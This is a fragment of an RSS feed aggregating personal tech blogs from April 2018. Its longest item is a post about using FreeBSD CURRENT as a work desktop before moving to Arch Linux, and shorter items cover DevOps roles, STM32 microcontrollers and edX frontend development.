                  &lt;img alt="1000-2018428-16-57-15.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984796845-VFO37N5QGF8Z3MUEHZJY/1000-2018428-16-57-15.jpg?format=1000w" /&gt;&lt;br /&gt;
                &lt;/a&gt;
                
              
            
          

          
        

      

        

        

        
          
            
              
                
                &lt;a class="
                    image-slide-anchor
                    
                      js-gallery-lightbox-opener
                    
                    content-fill
                  " href="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984791591-JBKMDUK2BFAXA3CX6PGB/2000-2018428-18-12-16.jpg"&gt;
                  
                    &lt;span class="v6-visually-hidden"&gt;View fullsize&lt;/span&gt;
                  
                  &lt;img alt="2000-2018428-18-12-16.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984791591-JBKMDUK2BFAXA3CX6PGB/2000-2018428-18-12-16.jpg?format=1000w" /&gt;&lt;br /&gt;
                &lt;/a&gt;
                
              
            
          

          
        

      

        

        

        
          
            
              
                
                &lt;a class="
                    image-slide-anchor
                    
                      js-gallery-lightbox-opener
                    
                    content-fill
                  " href="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984769662-032EQ75ZHTC9K6RVMCH4/5000-2018428-18-19-57.jpg"&gt;
                  
                    &lt;span class="v6-visually-hidden"&gt;View fullsize&lt;/span&gt;
                  
                  &lt;img alt="5000-2018428-18-19-57.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984769662-032EQ75ZHTC9K6RVMCH4/5000-2018428-18-19-57.jpg?format=1000w" /&gt;&lt;br /&gt;
                &lt;/a&gt;
                
              
            
          

          
        

      

        

        

        
          
            
              
                
                &lt;a class="
                    image-slide-anchor
                    
                      js-gallery-lightbox-opener
                    
                    content-fill
                  " href="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984763381-W9MO60J4WY3CLO36PMWP/20000-2018428-18-25-48.jpg"&gt;
                  
                    &lt;span class="v6-visually-hidden"&gt;View fullsize&lt;/span&gt;
                  
                  &lt;img alt="20000-2018428-18-25-48.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984763381-W9MO60J4WY3CLO36PMWP/20000-2018428-18-25-48.jpg?format=1000w" /&gt;&lt;br /&gt;
                &lt;/a&gt;
                
              
            
          

          
        

      

        

        

        
          
            
              
                
                &lt;a class="
                    image-slide-anchor
                    
                      js-gallery-lightbox-opener
                    
                    content-fill
                  " href="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984750225-P835MEDCTB9MFRKX752H/15000-2018428-18-32-35.jpg"&gt;
                  
                    &lt;span class="v6-visually-hidden"&gt;View fullsize&lt;/span&gt;
                  
                  &lt;img alt="15000-2018428-18-32-35.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984750225-P835MEDCTB9MFRKX752H/15000-2018428-18-32-35.jpg?format=1000w" /&gt;&lt;br /&gt;
                &lt;/a&gt;
                
              
            
          

          
        

      

        

        

        
          
            
              
                
                &lt;a class="
                    image-slide-anchor
                    
                      js-gallery-lightbox-opener
                    
                    content-fill
                  " href="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984747425-KEHLOZ8T7R5QZB2E6WIH/10000-2018428-22-15-5.jpg"&gt;
                  
                    &lt;span class="v6-visually-hidden"&gt;View fullsize&lt;/span&gt;
                  
                  &lt;img alt="10000-2018428-22-15-5.jpg" class="thumb-image" src="https://images.squarespace-cdn.com/content/v1/5244d189e4b0136e0a44003d/1524984747425-KEHLOZ8T7R5QZB2E6WIH/10000-2018428-22-15-5.jpg?format=1000w" /&gt;&lt;br /&gt;
                &lt;/a&gt;</description><author>Michael Honey: Writing - michaelhoney.com</author><pubDate>Sun, 29 Apr 2018 09:54:51 GMT</pubDate><guid isPermaLink="true">http://michaelhoney.com/writing/2018/4/29/art-saturday-evolution-of-an-idea</guid></item><item><title>Tesla troubles show even more limits of fake autonomous cars</title><link>https://stop.zona-m.net/2018/04/tesla-troubles-show-even-more-limits-of-fake-autonomous-cars/</link><description>&lt;p&gt;There are &amp;ldquo;autonomous vehicles&amp;rdquo; and then there are &amp;ldquo;autonomous vehicles&amp;rdquo;. But some kinds of autonomous vehicles are much dumber than others, and proofs of this fact continue to come.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 28 Apr 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/tesla-troubles-show-even-more-limits-of-fake-autonomous-cars/</guid></item><item><title>Lift off</title><link>https://www.unsungnovelty.org/gallery/lift-off/</link><description/><author>unsungNovelty</author><pubDate>Sat, 28 Apr 2018 03:21:09 GMT</pubDate><guid isPermaLink="true">https://www.unsungnovelty.org/gallery/lift-off/</guid></item><item><title>Finishing up a FreeBSD experiment</title><link>http://notes.eatonphil.com/finishing-up-a-freebsd-experiment.html</link><description>&lt;p&gt;I've been using FreeBSD as my daily driver at work since
December. I've successfully done my job and I've learned a hell of a
lot forcing myself on CURRENT... But there's been a number of issues
with it that have made it difficult to keep using, so I replaced it
with Arch Linux yesterday and I no longer have those issues. This is
not the first time I've forced myself to run FreeBSD and it won't be
the last.&lt;/p&gt;
&lt;h3 id="the-freebsd-setup"&gt;The FreeBSD setup&lt;/h3&gt;&lt;p&gt;I have a Dell Developer Edition. It employs full-disk encryption with
ZFS. Not being a "disk-jockey" I cannot comment on how exhilarating an
experience running ZFS is. It didn't cause me any trouble.&lt;/p&gt;
&lt;p&gt;It has an Intel graphics card and the display server is X. I use the
&lt;a href="https://stumpwm.github.io"&gt;StumpWM&lt;/a&gt; window manager and
the &lt;a href="https://github.com/iwamatsu/slim"&gt;SLiM&lt;/a&gt; login
manager. &lt;a href="https://www.jwz.org/xscreensaver/"&gt;xscreensaver&lt;/a&gt; handles
locking the screen, &lt;a href="https://feh.finalrewind.org/"&gt;feh&lt;/a&gt; gives me
background images, &lt;a href="https://github.com/dreamer/scrot"&gt;scrot&lt;/a&gt; gives me
screenshots, and
&lt;a href="http://recordmydesktop.sourceforge.net/about.php"&gt;recordMyDesktop&lt;/a&gt;
gives me video screen capture. This list should feel familiar to users
of Arch Linux or other X-supported, bring-your-own-software operating
systems/Linux distributions.&lt;/p&gt;
&lt;h4 id="software-development"&gt;Software development&lt;/h4&gt;&lt;p&gt;I primarily work on a web application with Node/PostgreSQL and React/SASS.
I do all of this development locally on FreeBSD. I run other components of
our system in a Vagrant-managed VirtualBox virtual machine.&lt;/p&gt;
&lt;h4 id="upgrading-the-system"&gt;Upgrading the system&lt;/h4&gt;&lt;p&gt;Since I'm running CURRENT, I fetch the latest commit on Subversion and
rebuild the FreeBSD system (kernel + user-land) each weekend to get
the new hotness. This takes somewhere between 1-4 hours. I start the
process Sunday morning and come back to it after lunch. After the
system is compiled and installed, I update all the packages through
the package manager and deal with fallout from incompatible kernel
modules that send me in a crash/reboot loop on boot.&lt;/p&gt;
&lt;p&gt;This is actually the part about running FreeBSD (CURRENT) I love the
most. I've gotten more familiar with the development and distribution
of kernel modules like the WiFi, Graphics, and VirtualBox
drivers. I've learned a lot about the organization of the FreeBSD
source code. And I've gotten some improvements
&lt;a href="https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=226015"&gt;merged&lt;/a&gt;
into the FreeBSD Handbook on how to debug a core dump.&lt;/p&gt;
&lt;h3 id="issues-with-freebsd-on-my-hardware"&gt;Issues with FreeBSD on my hardware&lt;/h3&gt;&lt;p&gt;I installed CURRENT in December to get support for new Intel graphics
drivers (which have since been backported to STABLE). The built-in
Intel WiFi card is also new enough that it hadn't been backported to
STABLE. My WiFi ultimately never got more than 2-4Mbps down on the
same networks my Macbook Pro would get 120-250Mbps down. I even bought
an older Realtek USB WiFi adapter and it fared no differently. My
understanding is that this is because CURRENT turns on enough debug
flags that the entire system is not really meant to be used except for
by FreeBSD developers.&lt;/p&gt;
&lt;p&gt;It would often end up taking 10-30 seconds for a &lt;code&gt;git push&lt;/code&gt; to
happen. It would take minutes to pull new Docker images, etc. This
(like everything else) does not mean you cannot do work on FreeBSD
CURRENT, it makes it really annoying.&lt;/p&gt;
&lt;h4 id="appendix-a---headphones"&gt;Appendix A - Headphones&lt;/h4&gt;&lt;p&gt;I couldn't figure out the headphone jack at all. Configuring outputs
via &lt;code&gt;sysctl&lt;/code&gt; and &lt;code&gt;device.hints&lt;/code&gt; is either really complicated or
presented in documentation really complicatedly. I posted a few times
in #freebsd on Freenode and got eager assistance but ultimately
couldn't get the headphone jack to produce anything without incredible
distortion.&lt;/p&gt;
&lt;p&gt;Of course Spotify has no FreeBSD client and I didn't want to try the
Linux compatiblity layer (which may have worked). I tried spoofing
user agents for the Spotify web app in Chrome but couldn't find one
that worked. (I still cannot get a working one on Linux either.) So
I'd end up listening to Spotify on my phone, which would have been
acceptable except for that the studio headphones I decided I needed
were immensely under-powered by my phone.&lt;/p&gt;
&lt;h4 id="appendix-b---yubikey"&gt;Appendix B - Yubikey&lt;/h4&gt;&lt;p&gt;I couldn't figure out how to give myself non-root access to my Yubikey
which I &lt;em&gt;believe&lt;/em&gt; is the reason I ultimately wasn't able to make any
use of it. Though admittedly I don't understand a whit of GPG/PGP or
Yubikey itself.&lt;/p&gt;
&lt;h4 id="appendix-c---bhyve"&gt;Appendix C - bhyve&lt;/h4&gt;&lt;p&gt;I really wanted to use
&lt;a href="https://www.freebsd.org/doc/handbook/virtualization-host-bhyve.html"&gt;bhyve&lt;/a&gt;
as the hypervisor for my CentOS virtual machines instead of
VirtualBox. So I spent 2-3 weekends trying to get it working as a
backend for Vagrant. Unfortunately the best "supported" way of doing
this is to manually mutate VirtualBox-based Vagrant boxes and that
just repeatedly didn't work for me.&lt;/p&gt;
&lt;p&gt;When I tried using bhyve directly I couldn't get networking
right. Presumably this is because NAT doesn't work well with wireless
interfaces... And I hadn't put in enough weekends to understand
setting up proxy rules correctly.&lt;/p&gt;
&lt;h4 id="appendix-d---synaptics"&gt;Appendix D - Synaptics&lt;/h4&gt;&lt;p&gt;It is my understanding that FreeBSD has its own custom Synaptics
drivers and configuration interfaces. Whether that is the case or not,
the documentation is a nightmare and while I would have loved to punt
to a graphical interface to prevent from fat-palming the touchpad
every 30 seconds, none of the graphical configuration tools seemed to
work.&lt;/p&gt;
&lt;p&gt;A few weeks ago I think I finally got the synaptics support &lt;em&gt;on&lt;/em&gt; but I
couldn't scroll or select text anymore. I also had to disable
synaptics, restart X, enable synaptics, and restart X on each boot for
it to successfully register the mouse. I meant to post in #freebsd on
Freenode where I probably would have found a solution but :shrugs:.&lt;/p&gt;
&lt;h4 id="appendix-e---sleep"&gt;Appendix E - Sleep&lt;/h4&gt;&lt;p&gt;Well sleep doesn't really work on any modern operating system.&lt;/p&gt;
&lt;h3 id="freebsd-is-awesome"&gt;FreeBSD is awesome&lt;/h3&gt;&lt;p&gt;I enjoy picking on my setup, but it should be impressive that you can
do real-world work on FreeBSD. If I had a 3-4 year old laptop instead
of a 1-2 year old laptop, most of my issues would be solved.&lt;/p&gt;
&lt;p&gt;Here are some reasons to like FreeBSD.&lt;/p&gt;
&lt;h4 id="less-competition"&gt;Less competition&lt;/h4&gt;&lt;p&gt;This is kind of stupid. But it's easier to find work to do (e.g. docs
to fix, bugs to report, ports to add/update, drivers to test) on
FreeBSD. I'm really disappointed to be back on Linux because I like
being closer to the community and knowing there are ways I can
contribute and learn. It's difficult to find the right combination of
fending/learning for yourself and achieving a certain level of
productivity.&lt;/p&gt;
&lt;h4 id="package-management-(culture)"&gt;Package management (culture)&lt;/h4&gt;&lt;p&gt;Rolling packages are really important to me as a developer. When I've
run Ubuntu and Debian desktops in the past, I typically built 5-15
major (to my workflow) components from source myself. This is
annoying. Rolling package systems are both easier to use and easier to
contribute to... The latter point may be a coincidence.&lt;/p&gt;
&lt;p&gt;In FreeBSD, packages are rolling and the base system (kernel +
userland) is released every year or two if you run the
recommended/supported "flavors" of FreeBSD (i.e. not CURRENT). If
you're running CURRENT then everything is rolling.&lt;/p&gt;
&lt;p&gt;Packages are binary, but you can build them from source if needed.&lt;/p&gt;
&lt;h4 id="source"&gt;Source&lt;/h4&gt;&lt;p&gt;FreeBSD has an older code base than Linux does but still manages to be
much better organized. OpenBSD and Minix are even better organized but
I don't consider them in the grouping as mainstream general-purpose
operating systems like FreeBSD and Linux. Linux is an awful mess
and is very intimidating, though I hope to get over that.&lt;/p&gt;
&lt;h4 id="old-school-interfaces"&gt;Old-school interfaces&lt;/h4&gt;&lt;p&gt;There's no systemd so starting X is as simple as &lt;code&gt;startx&lt;/code&gt; (but you can
enable the login manager service to have it launch on boot). You
configure your network interfaces via &lt;code&gt;ifconfig&lt;/code&gt;, &lt;code&gt;wpa_supplicant&lt;/code&gt;,
and &lt;code&gt;dhclient&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id="alternatives"&gt;Alternatives&lt;/h4&gt;&lt;p&gt;&lt;a href="https://www.trueos.org/"&gt;PCBSD or TrueOS&lt;/a&gt; may be a good option for
desktop users but something about the project turns me off (maybe it's
the scroll-jacking website).&lt;/p&gt;
&lt;h3 id="picking-arch-linux"&gt;Picking Arch Linux&lt;/h3&gt;&lt;p&gt;In any case, I decided it was time to stop waiting for &lt;code&gt;git push&lt;/code&gt; to
finish. I had run Gentoo at work for 3-4 months before I installed
FreeBSD. But I still had nightmares of resolving dependencies during
upgrades. I needed a binary package manager (not hard to find) and a
rolling release system.&lt;/p&gt;
&lt;h4 id="installing-arch-stinks"&gt;Installing Arch stinks&lt;/h4&gt;&lt;p&gt;Many of my old coworkers at Linode run Arch Linux at home so I've
looked into it a few times. It absolutely meets my rolling release and
binary packaging needs. But I've been through the installation once
before (and I've been through Gentoo's) and loathed the minutes-long
effort required to set up full-disk encryption. Also, systemd? :(&lt;/p&gt;
&lt;h4 id="how-about-void-linux?"&gt;How about Void Linux?&lt;/h4&gt;&lt;p&gt;Void Linux looked promising and avoids systemd (which legitimately
adds complexity and new tools to learn for desktop users with graphics
and WiFi/DHCP networking). It has a rolling release system and binary
packages, but overall didn't seem popular enough. I worried I'd be in
the same boat as in Debian/Ubuntu building lots of packages myself.&lt;/p&gt;
&lt;h4 id="what-about-arch-based-distros?"&gt;What about Arch-based distros?&lt;/h4&gt;&lt;p&gt;Eventually I realized &lt;a href="http://antergos.com/"&gt;Antergos&lt;/a&gt; and
&lt;a href="https://manjaro.org/"&gt;Manjaro&lt;/a&gt; are two (Distrowatch-rated) popular
distributions that are based on Arch and would provide me with the
installer I really wanted. I read more about Manjaro and found it was
pretty divergent from Arch. That didn't sound appealing. Divergent
distributions like Manjaro and Mint exist to cause trouble. Antergos,
on the other hand, seemed to be a thin layer around Arch including a
graphical installer and its own few package repositories. It seemed
easy enough to remove after the installation was finished.&lt;/p&gt;
&lt;h3 id="antergos-linux"&gt;Antergos Linux&lt;/h3&gt;&lt;p&gt;I ran the Antergos installer and the first time around, my touchpad
didn't work at all. I tried a USB mouse (that to be honest, may have
been broken anyway) but it didn't seem to be recognized. I rebooted
and my touchpad worked.&lt;/p&gt;
&lt;p&gt;I tried to configure WiFi using the graphical NetworkManager provided
but it was super buggy. Menus kept expanding and contracting as I
moused over items. And it ultimately never prompted me for a password
to the locked networks around me. (It showed lock icons beside the
locked networks.)&lt;/p&gt;
&lt;p&gt;I spent half an hour trying to configure the WiFi manually. After I
got it working (and "learned" all the fun new modern tools like &lt;code&gt;ip&lt;/code&gt;,
&lt;code&gt;iw&lt;/code&gt;, &lt;code&gt;dhcpcd&lt;/code&gt;, &lt;code&gt;iwconfig&lt;/code&gt;, and systemd networking), the Antergos
installer would crash at the last step for some error related to not
being able to update itself.&lt;/p&gt;
&lt;p&gt;At this point I gave up. The Antergos installer was half-baked, buggy,
and was getting me nowhere.&lt;/p&gt;
&lt;h3 id="anarchy-linux"&gt;Anarchy Linux&lt;/h3&gt;&lt;p&gt;Still loathe to spend a few minutes configuring disk encryption
manually, I interneted until I found &lt;a href="https://anarchy-linux.org/"&gt;Anarchy
Linux&lt;/a&gt; (which used to be Arch Anywhere).&lt;/p&gt;
&lt;p&gt;This installer seemed even more promising. It is a TUI installer so no
need for a mouse and there are more desktop environments to pick from
(including i3 and Sway) or avoid.&lt;/p&gt;
&lt;p&gt;It was a little concerning that Anarchy Linux also intends to be its
own divergent Arch-based distribution, but in the meantime it still
offers support for installing vanilla Arch.&lt;/p&gt;
&lt;p&gt;It worked.&lt;/p&gt;
&lt;h3 id="life-on-arch"&gt;Life on Arch&lt;/h3&gt;&lt;p&gt;I copied over all my configs from my FreeBSD setup and they all
worked. That's pretty nice (also speaks to the general compatibility
of software between Linux and FreeBSD). StumpWM, SLiM, scrot,
xscreensaver, feh, Emacs, Tmux, ssh, kubectl, font settings,
keyboarding bindings, etc.&lt;/p&gt;
&lt;p&gt;Getting Powerline working was a little weird. The &lt;code&gt;powerline&lt;/code&gt; and
&lt;code&gt;powerline-fonts&lt;/code&gt; packages don't seem to install patched fonts
(e.g. &lt;code&gt;Noto Sans for Powerline&lt;/code&gt;). I prefer to use these than the
alternative of specifying multiple fonts for fallbacks because I have
font settings in multiple places (e.g. .Xresources, .emacs, etc) and
the syntax varies in each config. So ultimately I cloned the
&lt;code&gt;github.com/powerline/fonts&lt;/code&gt; repo and ran the &lt;code&gt;install.sh&lt;/code&gt; script
there to get the patched fonts.&lt;/p&gt;
&lt;p&gt;But hey, there's a Spotify client! It works! And the headphone jack
just works after installing &lt;code&gt;alsa-utils&lt;/code&gt; and running &lt;code&gt;alsamixer&lt;/code&gt;. And
my WiFi speed is 120Mbps-250Mbps down on all the right networks!&lt;/p&gt;
&lt;p&gt;I can live with this.&lt;/p&gt;
&lt;h3 id="random-background"&gt;Random background&lt;/h3&gt;&lt;p&gt;Each time I join a new company, I try to use the change as an excuse
to force myself to try different workflows and learn something new
tangential to the work I actually do. I'd been a Vim and Ubuntu
desktop user since highschool. In 2015, I took a break from work on
the East Coast to live in a school bus in Silver City, New Mexico. I
swapped out my Ubuntu and Vim dev setup for FreeBSD and Emacs. I kept
GNOME 3 because I liked the asthetic. I spent 6 months with this setup
forcing myself to use it as my daily-driver doing full-stack, contract
web development gigs.&lt;/p&gt;
&lt;p&gt;In 2016, I joined Linode and took up the company Macbook Pro. I wasn't
as comfortable at the time running Linux on my Macbook, but a
determined coworker put Arch on his. I was still the only one
running Emacs (everyone else used Vim or VS Code) for Python and React
development.&lt;/p&gt;
&lt;p&gt;I joined Capsule8 in late 2017 and put Gentoo on my Dell Developer
Edition. Most people ran Ubuntu on the Dell or macOS. I'd never used
Gentoo on a desktop before but liked the systemd-optional design and
similarities to FreeBSD. I ran Gentoo for 3-4 months but was
constantly breaking it during upgrades, and the monthly, full-system
upgrades themselves took 1-2 days. I didn't have the chops or patience
to deal with it.&lt;/p&gt;
&lt;p&gt;So I used FreeBSD for 5 months and now I'm back on Linux.&lt;/p&gt;</description><author>Notes on software development</author><pubDate>Sat, 28 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">http://notes.eatonphil.com/finishing-up-a-freebsd-experiment.html</guid></item><item><title>Why I do not write on LinkedIn. Or Medium. Or Patreon. Or...</title><link>https://stop.zona-m.net/2018/04/why-i-do-not-write-on-linkedin.-or-medium.-or-patreon.-or.../</link><description>&lt;p&gt;or Wordpress.com. Or Blogger. Or&amp;hellip; OK, you get my drift. There are several important reasons why I almost never do that, have no intention to do otherwise, and invite everybody else to do the same.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Fri, 27 Apr 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/why-i-do-not-write-on-linkedin.-or-medium.-or-patreon.-or.../</guid></item><item><title>Whole cell biosynthesis of N-acetylneuraminic acid derivatives [PDF, 1.8 MB]</title><link>https://www.davidschlachter.com/writings/bch4040-thesis.pdf</link><description>Undergraduate thesis for my Honours BSc in Biochemistry from uOttawa. Production of a valuable natural product in genetically engineered E. coli.</description><author>David Schlachter</author><pubDate>Fri, 27 Apr 2018 20:00:00 GMT</pubDate><guid isPermaLink="true">https://www.davidschlachter.com/writings/bch4040-thesis.pdf</guid></item><item><title>The unseen impact of the little trade-offs</title><link>https://ilearnt.com/blog/thelittletradeoffs/</link><description>&lt;p&gt;I found this article to be a very astute observation that it can be all the &amp;ldquo;little trade-offs&amp;rdquo; that can add up to cause issues. The article highlights it from the perspective of a leader who can make small decisions, usually around putting something off or taking a short cut, that can add up to impact their work and those around them.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Fri, 27 Apr 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/thelittletradeoffs/</guid></item><item><title>[STM32] - part 2 - Lets look inside!</title><link>https://ciesie.com/post/stm32_part2/</link><description>&lt;p&gt;Still wondering why it all works? Why this black square does things? Lets go deeper.&lt;/p&gt;
&lt;p&gt;Previously I explained a bit about processor architecture. It&amp;rsquo;s the basis of the chip. It&amp;rsquo;s a
fundament. You won&amp;rsquo;t find anything about an UART in a
&lt;a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.ddi0439b/ch01s05s01.html"&gt;Technical Reference Manual of &lt;em&gt;Cortex-M4&lt;/em&gt;&lt;/a&gt;.
It&amp;rsquo;s just not a part of this fundament.&lt;/p&gt;
&lt;p&gt;When you get an &lt;em&gt;STM32&lt;/em&gt; microcontroller based on the &lt;em&gt;Cortex-M4&lt;/em&gt; architecture you just get
microcontroller made by &lt;em&gt;ST&lt;/em&gt; which uses this specific architecture. What stops them to add to it?
Nothing. That&amp;rsquo;s why you can find so many different models of families and models of processors.
Just look at &lt;em&gt;ST&amp;rsquo;s F&lt;/em&gt; and &lt;em&gt;ST&amp;rsquo;s L&lt;/em&gt; series. They are both &lt;em&gt;ARM Cortex-M&lt;/em&gt; but they do differ in many ways.&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Fri, 27 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/stm32_part2/</guid></item><item><title>John Wick: Chapter 4 (2023)</title><link>https://jdsalaro.com/bookmark/movie/john-wick-chapter-4-2023/</link><description>Read more on Wikipedia</description><author>Jayson Salazar Rodriguez | @jdsalaro | Blog</author><pubDate>Fri, 27 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jdsalaro.com/bookmark/movie/john-wick-chapter-4-2023/</guid></item><item><title>Invictus by William Ernest Henley ✊</title><link>https://jdsalaro.com/bookmark/poem/william-henley-invictus/</link><description>Read more on Wikipedia</description><author>Jayson Salazar Rodriguez | @jdsalaro | Blog</author><pubDate>Fri, 27 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jdsalaro.com/bookmark/poem/william-henley-invictus/</guid></item><item><title>Some interesting VueJS Projects</title><link>https://yasha.solutions/some-interesting-vuejs-projects/</link><description>VueJS wordpress theme starter  VueRouter integrated Vuex integrated (with sample WordPress-centric modules) jQuery integrated, if that’s your thing Firebase support and sample config Axios for API requests Follows the development guidelines/structure set forth by Vuejs Bare essentials needed for a functional WordPress theme All requests are redirected back to the index.php so your Vue routing is respected. SCSS support Bootstrap-Vue integrated  Voten.co It is like Reddit but in VueJS</description><author>Yasha Solutions</author><pubDate>Thu, 26 Apr 2018 23:02:53 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/some-interesting-vuejs-projects/</guid></item><item><title>The worst thing about that girl who designed porn banners for a living is NOT porn</title><link>https://stop.zona-m.net/2018/04/the-worst-thing-about-that-girl-who-designed-porn-banners-for-a-living-is-not-porn/</link><description>&lt;p&gt;Maybe you had not realized it yet, but the shady industry of porn attracts some REAL professionals. As in this case of the girl who&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 26 Apr 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/the-worst-thing-about-that-girl-who-designed-porn-banners-for-a-living-is-not-porn/</guid></item><item><title>Old code is institutional knowledge</title><link>https://blog.jonlu.ca/posts/old-code-is-institutional-knowledge</link><description/><author>JonLuca's Blog</author><pubDate>Thu, 26 Apr 2018 17:55:06 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/old-code-is-institutional-knowledge</guid></item><item><title>wordpress and redis</title><link>https://yasha.solutions/wordpress-and-redis/</link><description>Ludicrous Speed: WordPress Caching with RedisHow To Configure Redis Caching to Speed Up WordPress on Ubuntu 14.04WP Rediswp-redis-cache by Benjamin Adams
How to Drastically Speed Up WordPress with Redis
How to load WordPress in a few milliseconds using Redis
Lightning Fast WordPress with Nginx + Redis</description><author>Yasha Solutions</author><pubDate>Thu, 26 Apr 2018 13:49:39 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/wordpress-and-redis/</guid></item><item><title>Why do I write var log</title><link>https://yasha.solutions/why-do-i-write-var-log/</link><description>Most post in this category are unfinished, imperfect, lack the polish a proper blog article should have, very often they have typos and even some time unfinished sentences.
So why even bother?
Well, because life isn’t perfect, and most imperfect.
But it is important to get going anyway.
It is important to persist.
I know as I keep doing it it helps me shape my thinking.
Mostly I avoid accumulating ideas in my head.</description><author>Yasha Solutions</author><pubDate>Thu, 26 Apr 2018 13:14:44 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/why-do-i-write-var-log/</guid></item><item><title>Cool video editing technics</title><link>https://yasha.solutions/cool-video-editing-technics/</link><description/><author>Yasha Solutions</author><pubDate>Thu, 26 Apr 2018 13:05:34 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/cool-video-editing-technics/</guid></item><item><title>The Nature of DevOps</title><link>https://benovermyer.com/blog/2018/04/the-nature-of-devops/</link><description>&lt;p&gt;The topic of what “DevOps” is has been a source of contention since &lt;a href="http://www.jedi.be/blog/2008/10/09/agile-2008-toronto-agile-infrastructure-and-operations-presentation/" rel="external"&gt;the term first arose&lt;/a&gt;. This post is my take on what it means, based on about five years of experience in the field at this point.&lt;/p&gt;
&lt;p&gt;DevOps, literally speaking, is development operations. In the broadest of terms, it means “operations in support of development.” This is in contrast to the popular technical meaning of DevOps, which is “a culture of breaking down silos, especially between development and operations.”&lt;/p&gt;
&lt;p&gt;Recruiters would have you believe that DevOps is a kind of glorified system administrator who also can write application code. This is both true and false. True, in the sense that “DevOps engineers” have both an understanding of how to write application code and also their relationship to the systems they run in. False, in the sense that the code that DevOps folk write is not exactly application code, but rather system logic geared towards a few key concepts that have more to do with systems than with isolated programs.&lt;/p&gt;
&lt;p&gt;It would be more accurate to say that modern DevOps engineers are an evolution of systems engineers. Even that, though, is doing both professional disciplines an injustice.&lt;/p&gt;
&lt;p&gt;As I see it, you are a “DevOps engineer” if your focus is on improving the developer experience of creating software and having that software operate predictably at scale. Automating manual processes, drawing attention to performance gain opportunities, and securing systems against malicious actors are all core practices of this discipline.&lt;/p&gt;
&lt;p&gt;If I were to describe the various related disciplines, I would do it like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;System Administrator:&lt;/strong&gt; Infrastructure architect and maintainer. Ensures consistency of systems.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automation Engineer:&lt;/strong&gt; Infrastructure streamliner. Automates frequently reproducible manual processes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Site Reliability Engineer:&lt;/strong&gt; Application availability maintainer. Ensures availability of applications.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DevOps Engineer:&lt;/strong&gt; Developer user experience designer, application availability maintainer, and infrastructure architect. Does the job of system administrators, automation engineers, and site reliability engineers.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To put it another way: DevOps engineers are either high-demand generalists with a lot of experience, or miscategorized practitioners of one of the other three roles. There is some crossover between all four regardless, but the focus differs.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Thu, 26 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/04/the-nature-of-devops/</guid></item><item><title>Studio-Frontend: Developing Frontend Separate from edX Platform</title><link>https://www.hallada.net/2018/04/26/studio-frontend.html</link><description>&lt;p&gt;&lt;em&gt;This is a blog post that I originally wrote for the &lt;a href="https://engineering.edx.org/"&gt;edX engineering 
blog&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;At the core of edX is the &lt;a href="https://github.com/edx/edx-platform"&gt;edx-platform&lt;/a&gt;, a
monolithic Django code-base 2.7 times the size of Django itself.
&lt;!--excerpt--&gt;&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;-------------------------------------------------------------------------------
 Language            Files        Lines         Code     Comments       Blanks
-------------------------------------------------------------------------------
 ActionScript            1          118           74           23           21
 Autoconf               10          425          237          163           25
 CSS                    55        17106        14636         1104         1366
 HTML                  668        72567        36865        30306         5396
 JavaScript           1500       463147       352306        55882        54959
 JSON                   91        14583        14583            0            0
 JSX                    33         2595         2209           62          324
 LESS                    1          949          606          232          111
 Makefile                1           65           49            8            8
 Markdown               23          287          287            0            0
 Mustache                1            1            1            0            0
 Python               3277       559255       442756        29254        87245
 ReStructuredText       48         4252         4252            0            0
 Sass                  424        75559        55569         4555        15435
 Shell                  15          929          505          292          132
 SQL                     4         6283         5081         1186           16
 Plain Text            148         3521         3521            0            0
 TypeScript             20        88506        76800        11381          325
 XML                   364         5283         4757          231          295
 YAML                   36         1630         1361          119          150
